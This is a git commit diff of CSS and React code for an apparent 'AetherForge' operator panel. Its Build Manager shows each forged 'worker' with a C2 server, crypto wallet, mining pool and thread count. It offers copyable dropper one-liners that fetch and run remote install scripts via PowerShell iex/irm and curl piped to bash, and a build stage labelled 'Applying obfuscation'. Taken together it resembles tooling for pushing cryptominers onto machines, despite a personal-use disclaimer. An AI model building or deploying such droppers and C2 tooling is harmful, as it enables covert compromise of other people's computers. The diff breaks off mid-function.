feat: Build Manager, Crucible ops deck, branding, and portable Cloudflare tunnel
Add Build Manager with pin-to-dropper, Crucible multi-node terminal with SSH probe/wake, Command Deck chart balance and pretty stats, AetherForge logo and sacred geometry UI, Field Guide refresh, and LAUNCH.bat Cloudflare MSI + token service install flow.
This commit is contained in:
362
server/web/src/pages/BuildManagerPage.css
Normal file
362
server/web/src/pages/BuildManagerPage.css
Normal file
@@ -0,0 +1,362 @@
|
||||
.bm-page {
|
||||
max-width: 1100px;
|
||||
margin: 0 auto;
|
||||
padding: 1.5rem 1.25rem 2rem;
|
||||
}
|
||||
|
||||
.bm-header {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
justify-content: space-between;
|
||||
flex-wrap: wrap;
|
||||
gap: 1rem;
|
||||
margin-bottom: 1.75rem;
|
||||
}
|
||||
|
||||
.bm-title {
|
||||
font-size: 1.6rem;
|
||||
color: var(--neon-amber, #ffc060);
|
||||
margin: 0 0 0.25rem;
|
||||
}
|
||||
|
||||
.bm-subtitle {
|
||||
margin: 0;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.bm-header-actions {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
align-items: center;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
/* ── empty / loading ── */
|
||||
.bm-empty {
|
||||
text-align: center;
|
||||
padding: 2.5rem 1.5rem;
|
||||
}
|
||||
|
||||
.bm-loading {
|
||||
padding: 2rem;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
/* ── card grid ── */
|
||||
.bm-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fill, minmax(520px, 1fr));
|
||||
gap: 1.25rem;
|
||||
}
|
||||
|
||||
/* ── card internals ── */
|
||||
.bm-card {
|
||||
padding: 1rem 1.1rem;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.85rem;
|
||||
}
|
||||
|
||||
.bm-card-header {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
justify-content: space-between;
|
||||
gap: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.bm-card-title {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.45rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.bm-worker-name {
|
||||
font-family: var(--font-display, monospace);
|
||||
font-size: 1.05rem;
|
||||
font-weight: 700;
|
||||
color: #eee;
|
||||
}
|
||||
|
||||
.bm-platform-badge {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.7rem;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.08em;
|
||||
padding: 0.1rem 0.4rem;
|
||||
border-radius: 3px;
|
||||
background: rgba(255,255,255,0.06);
|
||||
border: 1px solid currentColor;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.bm-tag {
|
||||
font-size: 0.65rem;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.09em;
|
||||
padding: 0.1rem 0.45rem;
|
||||
border-radius: 3px;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.bm-tag-fusion {
|
||||
background: rgba(255,100,0,0.18);
|
||||
color: #ff8c00;
|
||||
border: 1px solid rgba(255,100,0,0.45);
|
||||
}
|
||||
|
||||
.bm-tag-universal {
|
||||
background: rgba(255,215,0,0.12);
|
||||
color: #ffd700;
|
||||
border: 1px solid rgba(255,215,0,0.35);
|
||||
}
|
||||
|
||||
.bm-date {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.72rem;
|
||||
color: var(--text-secondary, #888);
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
/* ── settings grid ── */
|
||||
.bm-settings-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fill, minmax(160px, 1fr));
|
||||
gap: 0.4rem 0.75rem;
|
||||
padding: 0.6rem 0.75rem;
|
||||
background: rgba(0,0,0,0.28);
|
||||
border: 1px solid rgba(255,255,255,0.07);
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
.bm-setting {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.1rem;
|
||||
}
|
||||
|
||||
.bm-setting-label {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.62rem;
|
||||
letter-spacing: 0.1em;
|
||||
text-transform: uppercase;
|
||||
color: var(--neon-amber, #ffc060);
|
||||
opacity: 0.75;
|
||||
}
|
||||
|
||||
.bm-setting-value {
|
||||
font-size: 0.78rem;
|
||||
color: #dde;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.bm-setting-value.mono {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.75rem;
|
||||
}
|
||||
|
||||
.bm-tls-badge {
|
||||
font-size: 0.62rem;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
opacity: 0.8;
|
||||
}
|
||||
|
||||
/* ── downloads ── */
|
||||
.bm-downloads,
|
||||
.bm-dropper {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.4rem;
|
||||
}
|
||||
|
||||
.bm-downloads-label {
|
||||
font-size: 0.62rem;
|
||||
letter-spacing: 0.1em;
|
||||
color: var(--text-secondary, #888);
|
||||
margin-bottom: 0.05rem;
|
||||
}
|
||||
|
||||
.bm-downloads-row {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.bm-dl-btn {
|
||||
font-size: 0.82rem;
|
||||
padding: 0.3rem 0.75rem;
|
||||
}
|
||||
|
||||
/* ── dropper rows ── */
|
||||
.bm-dropper-row {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.4rem;
|
||||
padding: 0.25rem 0.5rem;
|
||||
background: rgba(0,0,0,0.3);
|
||||
border-radius: 3px;
|
||||
border: 1px solid rgba(255,255,255,0.05);
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.bm-dropper-os {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.65rem;
|
||||
font-weight: 700;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
min-width: 2rem;
|
||||
text-align: right;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.bm-dropper-cmd {
|
||||
flex: 1;
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.7rem;
|
||||
color: #b8e0d0;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.bm-copy-btn {
|
||||
flex-shrink: 0;
|
||||
font-size: 0.7rem;
|
||||
padding: 0.15rem 0.5rem;
|
||||
background: rgba(0,245,255,0.08);
|
||||
border: 1px solid rgba(0,245,255,0.28);
|
||||
border-radius: 3px;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
cursor: pointer;
|
||||
transition: background 0.15s;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.bm-copy-btn:hover {
|
||||
background: rgba(0,245,255,0.18);
|
||||
}
|
||||
|
||||
/* ── footer row ── */
|
||||
.bm-card-footer {
|
||||
display: flex;
|
||||
align-items: flex-end;
|
||||
justify-content: space-between;
|
||||
gap: 0.75rem;
|
||||
flex-wrap: wrap;
|
||||
margin-top: 0.25rem;
|
||||
}
|
||||
|
||||
.bm-qr-wrap {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: 0.2rem;
|
||||
}
|
||||
|
||||
.bm-qr-label {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.6rem;
|
||||
color: var(--text-secondary, #888);
|
||||
letter-spacing: 0.05em;
|
||||
}
|
||||
|
||||
.bm-action-btns {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.bm-reforge-btn {
|
||||
font-size: 0.82rem;
|
||||
}
|
||||
|
||||
.bm-del-btn {
|
||||
font-size: 0.78rem;
|
||||
padding: 0.3rem 0.65rem;
|
||||
background: rgba(255,50,50,0.08);
|
||||
border: 1px solid rgba(255,80,80,0.3);
|
||||
border-radius: 4px;
|
||||
color: #f87171;
|
||||
cursor: pointer;
|
||||
transition: background 0.15s, border-color 0.15s;
|
||||
}
|
||||
|
||||
.bm-del-btn:hover {
|
||||
background: rgba(255,50,50,0.16);
|
||||
border-color: rgba(255,80,80,0.55);
|
||||
}
|
||||
|
||||
.bm-del-btn-confirm {
|
||||
background: rgba(255,80,0,0.22);
|
||||
border-color: rgba(255,100,0,0.65);
|
||||
color: #ff8c00;
|
||||
}
|
||||
|
||||
/* ── Pinned state ── */
|
||||
.bm-card-pinned {
|
||||
box-shadow: 0 0 0 1.5px rgba(0, 255, 130, 0.55), 0 0 18px rgba(0, 255, 100, 0.18);
|
||||
}
|
||||
|
||||
.bm-pinned-banner {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.72rem;
|
||||
color: #00ff88;
|
||||
background: rgba(0, 255, 100, 0.08);
|
||||
border: 1px solid rgba(0, 255, 100, 0.3);
|
||||
border-radius: 4px;
|
||||
padding: 0.35rem 0.65rem;
|
||||
margin-bottom: 0.1rem;
|
||||
line-height: 1.5;
|
||||
word-break: break-all;
|
||||
}
|
||||
|
||||
.bm-pinned-banner code {
|
||||
color: #7effc8;
|
||||
font-size: 0.7rem;
|
||||
}
|
||||
|
||||
/* ── Pin button ── */
|
||||
.bm-pin-btn {
|
||||
font-size: 0.78rem;
|
||||
padding: 0.3rem 0.7rem;
|
||||
background: rgba(0, 200, 100, 0.08);
|
||||
border: 1px solid rgba(0, 200, 100, 0.3);
|
||||
border-radius: 4px;
|
||||
color: #5fffa8;
|
||||
cursor: pointer;
|
||||
transition: background 0.15s, border-color 0.15s, box-shadow 0.15s;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.bm-pin-btn:hover:not(:disabled) {
|
||||
background: rgba(0, 200, 100, 0.18);
|
||||
border-color: rgba(0, 200, 100, 0.55);
|
||||
}
|
||||
|
||||
.bm-pin-btn-active {
|
||||
background: rgba(0, 255, 120, 0.16);
|
||||
border-color: rgba(0, 255, 120, 0.6);
|
||||
color: #00ff88;
|
||||
box-shadow: 0 0 8px rgba(0, 255, 100, 0.25);
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.bm-pin-btn-active:hover:not(:disabled) {
|
||||
background: rgba(255, 80, 80, 0.12);
|
||||
border-color: rgba(255, 80, 80, 0.4);
|
||||
color: #f87171;
|
||||
}
|
||||
|
||||
@media (max-width: 640px) {
|
||||
.bm-grid {
|
||||
grid-template-columns: 1fr;
|
||||
}
|
||||
.bm-dropper-cmd {
|
||||
display: none;
|
||||
}
|
||||
}
|
||||
378
server/web/src/pages/BuildManagerPage.tsx
Normal file
378
server/web/src/pages/BuildManagerPage.tsx
Normal file
@@ -0,0 +1,378 @@
|
||||
import { useCallback, useEffect, useRef, useState } from 'react';
|
||||
import { useNavigate } from 'react-router-dom';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRecord } from '../types';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
import AuthDownloadButton from '../components/AuthDownloadButton';
|
||||
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import './BuildManagerPage.css';
|
||||
|
||||
// ─── helpers ─────────────────────────────────────────────────────────────────
|
||||
|
||||
function truncateWallet(w: string): string {
|
||||
if (!w || w.length < 12) return w || '—';
|
||||
return `${w.slice(0, 6)}…${w.slice(-6)}`;
|
||||
}
|
||||
|
||||
function truncateUrl(u: string): string {
|
||||
try {
|
||||
const parsed = new URL(u);
|
||||
return parsed.host;
|
||||
} catch {
|
||||
return u.length > 30 ? u.slice(0, 28) + '…' : u;
|
||||
}
|
||||
}
|
||||
|
||||
function fmtSize(bytes: number): string {
|
||||
if (!bytes) return '—';
|
||||
if (bytes >= 1024 * 1024) return `${(bytes / 1024 / 1024).toFixed(1)} MB`;
|
||||
return `${(bytes / 1024).toFixed(0)} KB`;
|
||||
}
|
||||
|
||||
function fmtDate(iso: string): string {
|
||||
try {
|
||||
const d = new Date(iso);
|
||||
return d.toLocaleDateString(undefined, { month: 'short', day: 'numeric', year: 'numeric' }) +
|
||||
' ' + d.toLocaleTimeString(undefined, { hour: '2-digit', minute: '2-digit' });
|
||||
} catch {
|
||||
return iso;
|
||||
}
|
||||
}
|
||||
|
||||
function platformLabel(p?: string): string {
|
||||
if (!p) return 'Win';
|
||||
const m: Record<string, string> = {
|
||||
windows: 'Win', linux: 'Linux', darwin: 'macOS', universal: 'Universal',
|
||||
};
|
||||
return m[p.toLowerCase()] ?? p;
|
||||
}
|
||||
|
||||
function platformColor(p?: string): string {
|
||||
if (!p) return 'var(--neon-cyan)';
|
||||
const m: Record<string, string> = {
|
||||
windows: '#00e5ff', linux: '#a3e635', darwin: '#f0abfc', universal: '#ffd700',
|
||||
};
|
||||
return m[p.toLowerCase()] ?? '#aaa';
|
||||
}
|
||||
|
||||
function CopyButton({ text, label }: { text: string; label: string }) {
|
||||
const [copied, setCopied] = useState(false);
|
||||
const copy = () => {
|
||||
navigator.clipboard.writeText(text).then(() => {
|
||||
setCopied(true);
|
||||
setTimeout(() => setCopied(false), 1800);
|
||||
});
|
||||
};
|
||||
return (
|
||||
<button type="button" className="bm-copy-btn" onClick={copy} title={text}>
|
||||
{copied ? '✓ Copied' : label}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () => void }) {
|
||||
const [confirming, setConfirming] = useState(false);
|
||||
const [busy, setBusy] = useState(false);
|
||||
const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||
|
||||
const handleClick = () => {
|
||||
if (!confirming) {
|
||||
setConfirming(true);
|
||||
timerRef.current = setTimeout(() => setConfirming(false), 3000);
|
||||
} else {
|
||||
if (timerRef.current) clearTimeout(timerRef.current);
|
||||
setBusy(true);
|
||||
api.deleteBuild(buildId).finally(() => {
|
||||
setBusy(false);
|
||||
setConfirming(false);
|
||||
onDeleted();
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<button
|
||||
type="button"
|
||||
className={`bm-del-btn${confirming ? ' bm-del-btn-confirm' : ''}`}
|
||||
disabled={busy}
|
||||
onClick={handleClick}
|
||||
title="Delete this build from server"
|
||||
>
|
||||
{busy ? '…' : confirming ? 'Confirm delete' : 'Delete'}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boolean; onPinned: () => void }) {
|
||||
const [busy, setBusy] = useState(false);
|
||||
|
||||
const handleClick = async () => {
|
||||
if (busy) return;
|
||||
setBusy(true);
|
||||
try {
|
||||
if (pinned) {
|
||||
await api.unpinAll();
|
||||
} else {
|
||||
await api.pinBuild(buildId);
|
||||
}
|
||||
onPinned();
|
||||
} catch (e) {
|
||||
console.error(e);
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<button
|
||||
type="button"
|
||||
className={`bm-pin-btn${pinned ? ' bm-pin-btn-active' : ''}`}
|
||||
disabled={busy}
|
||||
onClick={handleClick}
|
||||
title={pinned ? 'Unpin — dropper will serve latest build' : 'Pin — dropper will serve this build'}
|
||||
>
|
||||
{busy ? '…' : pinned ? '📌 Pinned to Dropper' : '📌 Pin to Dropper'}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
// ─── per-build card ───────────────────────────────────────────────────────────
|
||||
|
||||
function BuildCard({
|
||||
build,
|
||||
serverBase,
|
||||
onReforge,
|
||||
onDeleted,
|
||||
onPinned,
|
||||
}: {
|
||||
build: BuildRecord;
|
||||
serverBase: string;
|
||||
onReforge: (b: BuildRecord) => void;
|
||||
onDeleted: () => void;
|
||||
onPinned: () => void;
|
||||
}) {
|
||||
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
|
||||
const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`;
|
||||
const isUniversal = build.platform?.toLowerCase() === 'universal';
|
||||
const isFusion = !!build.file_name?.includes('runner') || (build.bundle_size && build.bundle_size > 0);
|
||||
|
||||
const ps1 = `iex (irm '${serverBase}/install.ps1')`;
|
||||
const sh = `curl -sL ${serverBase}/install.sh | bash`;
|
||||
|
||||
return (
|
||||
<NeonCard accent={build.pinned ? 'green' : 'brass'} className={`bm-card${build.pinned ? ' bm-card-pinned' : ''}`}>
|
||||
{/* ── Pinned banner ── */}
|
||||
{build.pinned && (
|
||||
<div className="bm-pinned-banner">
|
||||
📌 ACTIVE DROPPER — <code>iex (irm '{serverBase}/install.ps1')</code> serves this build
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* ── Header row ── */}
|
||||
<div className="bm-card-header">
|
||||
<div className="bm-card-title">
|
||||
<span className="bm-worker-name">{build.worker_name || '(unnamed)'}</span>
|
||||
<span
|
||||
className="bm-platform-badge"
|
||||
style={{ color: platformColor(build.platform) }}
|
||||
>
|
||||
{platformLabel(build.platform)}
|
||||
</span>
|
||||
{isFusion && <span className="bm-tag bm-tag-fusion">FUSION</span>}
|
||||
{isUniversal && !isFusion && <span className="bm-tag bm-tag-universal">UNIVERSAL</span>}
|
||||
</div>
|
||||
<span className="bm-date">{fmtDate(build.created_at)}</span>
|
||||
</div>
|
||||
|
||||
{/* ── Baked settings summary ── */}
|
||||
<div className="bm-settings-grid">
|
||||
<div className="bm-setting">
|
||||
<span className="bm-setting-label">C2</span>
|
||||
<span className="bm-setting-value mono" title={build.server_url}>{truncateUrl(build.server_url)}</span>
|
||||
</div>
|
||||
<div className="bm-setting">
|
||||
<span className="bm-setting-label">Wallet</span>
|
||||
<span className="bm-setting-value mono" title={build.wallet}>{truncateWallet(build.wallet)}</span>
|
||||
</div>
|
||||
<div className="bm-setting">
|
||||
<span className="bm-setting-label">Pool</span>
|
||||
<span className="bm-setting-value mono">
|
||||
{build.pool_host || '—'}:{build.pool_port || '—'}
|
||||
{build.pool_tls && <span className="bm-tls-badge"> TLS</span>}
|
||||
</span>
|
||||
</div>
|
||||
<div className="bm-setting">
|
||||
<span className="bm-setting-label">Threads</span>
|
||||
<span className="bm-setting-value">{build.threads || '—'}</span>
|
||||
</div>
|
||||
<div className="bm-setting">
|
||||
<span className="bm-setting-label">Size</span>
|
||||
<span className="bm-setting-value">{fmtSize(build.bundle_size || build.file_size)}</span>
|
||||
</div>
|
||||
<div className="bm-setting">
|
||||
<span className="bm-setting-label">File</span>
|
||||
<span className="bm-setting-value mono" title={exeName}>{exeName.length > 28 ? exeName.slice(0, 26) + '…' : exeName}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* ── Download methods ── */}
|
||||
<div className="bm-downloads">
|
||||
<div className="bm-downloads-label font-tech">DOWNLOAD</div>
|
||||
<div className="bm-downloads-row">
|
||||
<DownloadButton
|
||||
apiPath={api.buildDownloadUrl(build.id)}
|
||||
filename={exeName}
|
||||
className="btn btn-primary bm-dl-btn"
|
||||
>
|
||||
↓ {isUniversal ? 'Universal ZIP' : exeName}
|
||||
</DownloadButton>
|
||||
<AuthDownloadButton
|
||||
apiPath={api.buildUninstallUrl(build.id)}
|
||||
filename={`uninstall-${build.worker_name || 'worker'}.ps1`}
|
||||
className="btn btn-outline bm-dl-btn"
|
||||
>
|
||||
↓ Uninstall script
|
||||
</AuthDownloadButton>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* ── Dropper one-liners ── */}
|
||||
<div className="bm-dropper">
|
||||
<div className="bm-downloads-label font-tech">ONE-LINER DEPLOY (serves latest build)</div>
|
||||
<div className="bm-dropper-row">
|
||||
<span className="bm-dropper-os">Win</span>
|
||||
<code className="bm-dropper-cmd">{ps1}</code>
|
||||
<CopyButton text={ps1} label="Copy" />
|
||||
</div>
|
||||
<div className="bm-dropper-row">
|
||||
<span className="bm-dropper-os">*nix</span>
|
||||
<code className="bm-dropper-cmd">{sh}</code>
|
||||
<CopyButton text={sh} label="Copy" />
|
||||
</div>
|
||||
<div className="bm-dropper-row">
|
||||
<span className="bm-dropper-os">URL</span>
|
||||
<code className="bm-dropper-cmd">{downloadUrl}</code>
|
||||
<CopyButton text={downloadUrl} label="Copy" />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* ── QR + actions ── */}
|
||||
<div className="bm-card-footer">
|
||||
<div className="bm-qr-wrap">
|
||||
<LanDownloadQR url={downloadUrl} />
|
||||
<span className="bm-qr-label">Scan to download</span>
|
||||
</div>
|
||||
<div className="bm-action-btns">
|
||||
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} />
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-secondary bm-reforge-btn"
|
||||
onClick={() => onReforge(build)}
|
||||
>
|
||||
⚒ Re-forge
|
||||
</button>
|
||||
<DeleteButton buildId={build.id} onDeleted={onDeleted} />
|
||||
</div>
|
||||
</div>
|
||||
</NeonCard>
|
||||
);
|
||||
}
|
||||
|
||||
// ─── page ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
export default function BuildManagerPage() {
|
||||
const [builds, setBuilds] = useState<BuildRecord[]>([]);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [error, setError] = useState('');
|
||||
const [serverBase, setServerBase] = useState('');
|
||||
const navigate = useNavigate();
|
||||
|
||||
const loadBuilds = useCallback(async () => {
|
||||
try {
|
||||
const [list, info] = await Promise.all([
|
||||
api.listBuilds(),
|
||||
api.getServerInfo().catch(() => null),
|
||||
]);
|
||||
setBuilds(list);
|
||||
if (info) {
|
||||
const pub = info.suggested_url?.replace(/\/$/, '') || window.location.origin;
|
||||
setServerBase(pub);
|
||||
} else {
|
||||
setServerBase(window.location.origin);
|
||||
}
|
||||
setError('');
|
||||
} catch (e) {
|
||||
setError(e instanceof Error ? e.message : 'Failed to load builds');
|
||||
} finally {
|
||||
setLoading(false);
|
||||
}
|
||||
}, []);
|
||||
|
||||
useEffect(() => { loadBuilds(); }, [loadBuilds]);
|
||||
|
||||
const handleReforge = useCallback((build: BuildRecord) => {
|
||||
// Pass build id as query param so Forge page can pre-fill from it
|
||||
navigate(`/forge?reforge=${encodeURIComponent(build.id)}`);
|
||||
}, [navigate]);
|
||||
|
||||
return (
|
||||
<div className="page fade-in bm-page">
|
||||
<div className="bm-header">
|
||||
<div>
|
||||
<h1 className="font-display bm-title">Build Manager</h1>
|
||||
<p className="form-hint bm-subtitle">
|
||||
All forged workers — download, deploy, re-forge, or delete from any browser.
|
||||
</p>
|
||||
</div>
|
||||
<div className="bm-header-actions">
|
||||
<button type="button" className="btn btn-outline" onClick={loadBuilds} disabled={loading}>
|
||||
{loading ? 'Loading…' : '↻ Refresh'}
|
||||
</button>
|
||||
<button type="button" className="btn btn-success" onClick={() => navigate('/forge')}>
|
||||
⚒ New Forge
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{error && (
|
||||
<div className="form-error" style={{ marginBottom: '1rem' }}>
|
||||
<span>⚠️</span> {error}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{!loading && builds.length === 0 && !error && (
|
||||
<NeonCard accent="cyan" className="bm-empty">
|
||||
<p className="font-tech" style={{ color: 'var(--neon-cyan)' }}>NO BUILDS YET</p>
|
||||
<p className="form-hint">Head to Forge, fill in your config, and click FORGE INSTALLER.</p>
|
||||
<button type="button" className="btn btn-primary" onClick={() => navigate('/forge')} style={{ marginTop: '0.75rem' }}>
|
||||
Go to Forge
|
||||
</button>
|
||||
</NeonCard>
|
||||
)}
|
||||
|
||||
{loading && (
|
||||
<div className="bm-loading">
|
||||
<span className="font-tech" style={{ color: 'var(--neon-cyan)', fontSize: '0.85rem' }}>LOADING BUILDS…</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="bm-grid">
|
||||
{builds.map((build) => (
|
||||
<BuildCard
|
||||
key={build.id}
|
||||
build={build}
|
||||
serverBase={serverBase}
|
||||
onReforge={handleReforge}
|
||||
onDeleted={loadBuilds}
|
||||
onPinned={loadBuilds}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,5 +1,5 @@
|
||||
import { useState, useEffect, useRef, useMemo, useCallback } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { Link, useNavigate, useSearchParams } from 'react-router-dom';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types';
|
||||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||
@@ -19,11 +19,9 @@ import {
|
||||
type ForgeDeliverable,
|
||||
} from '../help/forgeFormNormalize';
|
||||
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
|
||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
|
||||
import AuthDownloadButton from '../components/AuthDownloadButton';
|
||||
import { buildRequestFromRecord } from '../help/buildManager';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
import { downloadApiFile } from '../api/download';
|
||||
import { useForge } from '../context/ForgeContext';
|
||||
import {
|
||||
fusionPayloadKind,
|
||||
fusionTitleFromFilename,
|
||||
@@ -50,6 +48,37 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds
|
||||
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
|
||||
}
|
||||
|
||||
// Simulated stage timeline — (label, target% completed at this point, min ms from start)
|
||||
const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [
|
||||
{ label: 'Resolving dependencies...', pct: 8, minMs: 0 },
|
||||
{ label: 'Compiling agent source...', pct: 28, minMs: 800 },
|
||||
{ label: 'Cross-compiling targets...', pct: 52, minMs: 2500 },
|
||||
{ label: 'Applying obfuscation...', pct: 68, minMs: 5000 },
|
||||
{ label: 'Packaging deliverable...', pct: 82, minMs: 8000 },
|
||||
{ label: 'Signing & finalizing...', pct: 93, minMs: 11000 },
|
||||
{ label: 'Almost done...', pct: 98, minMs: 15000 },
|
||||
];
|
||||
|
||||
function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
|
||||
if (!building) return null;
|
||||
return (
|
||||
<div className="forge-progress-wrap" aria-live="polite">
|
||||
<div className="forge-progress-header">
|
||||
<span className="forge-progress-icon">⚙</span>
|
||||
<span className="forge-progress-stage">{stage || 'Initializing...'}</span>
|
||||
<span className="forge-progress-pct">{Math.round(progress)}%</span>
|
||||
</div>
|
||||
<div className="forge-progress-track">
|
||||
<div
|
||||
className="forge-progress-fill"
|
||||
style={{ width: `${progress}%` }}
|
||||
/>
|
||||
<div className="forge-progress-glow" style={{ left: `${progress}%` }} />
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const FORGE_MODE_KEY = 'aetherforge-forge-mode';
|
||||
|
||||
function loadSimpleMode(): boolean {
|
||||
@@ -63,12 +92,16 @@ function loadSimpleMode(): boolean {
|
||||
}
|
||||
|
||||
export default function BuilderPage() {
|
||||
const navigate = useNavigate();
|
||||
const [searchParams, setSearchParams] = useSearchParams();
|
||||
const { startForge, endForge, setStage, stage: forgeStage, progress: forgeProgress } = useForge();
|
||||
const forgeStageTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||
|
||||
const [form, setForm] = useState<BuildRequest | null>(null);
|
||||
const [building, setBuilding] = useState(false);
|
||||
const [error, setError] = useState('');
|
||||
const [lastBuild, setLastBuild] = useState<BuildResponse | null>(null);
|
||||
const [recentBuilds, setRecentBuilds] = useState<BuildRecord[]>([]);
|
||||
const [showRecent, setShowRecent] = useState(false);
|
||||
const [loadingDefaults, setLoadingDefaults] = useState(true);
|
||||
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
|
||||
const [fusionBatchFiles, setFusionBatchFiles] = useState<File[]>([]);
|
||||
@@ -92,6 +125,45 @@ export default function BuilderPage() {
|
||||
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
|
||||
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
|
||||
|
||||
// Drive simulated stage progress while a single build is running
|
||||
useEffect(() => {
|
||||
if (!building || batchJob) {
|
||||
endForge();
|
||||
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
|
||||
return;
|
||||
}
|
||||
const startMs = Date.now();
|
||||
startForge();
|
||||
|
||||
let stageIdx = 0;
|
||||
const advance = () => {
|
||||
const elapsed = Date.now() - startMs;
|
||||
// Find the furthest stage whose minMs has been reached
|
||||
let next = 0;
|
||||
for (let i = 0; i < FORGE_STAGES.length; i++) {
|
||||
if (elapsed >= FORGE_STAGES[i].minMs) next = i;
|
||||
else break;
|
||||
}
|
||||
const s = FORGE_STAGES[next];
|
||||
// Smoothly interpolate within this stage toward the next stage's target %
|
||||
const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : 98;
|
||||
const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 20000;
|
||||
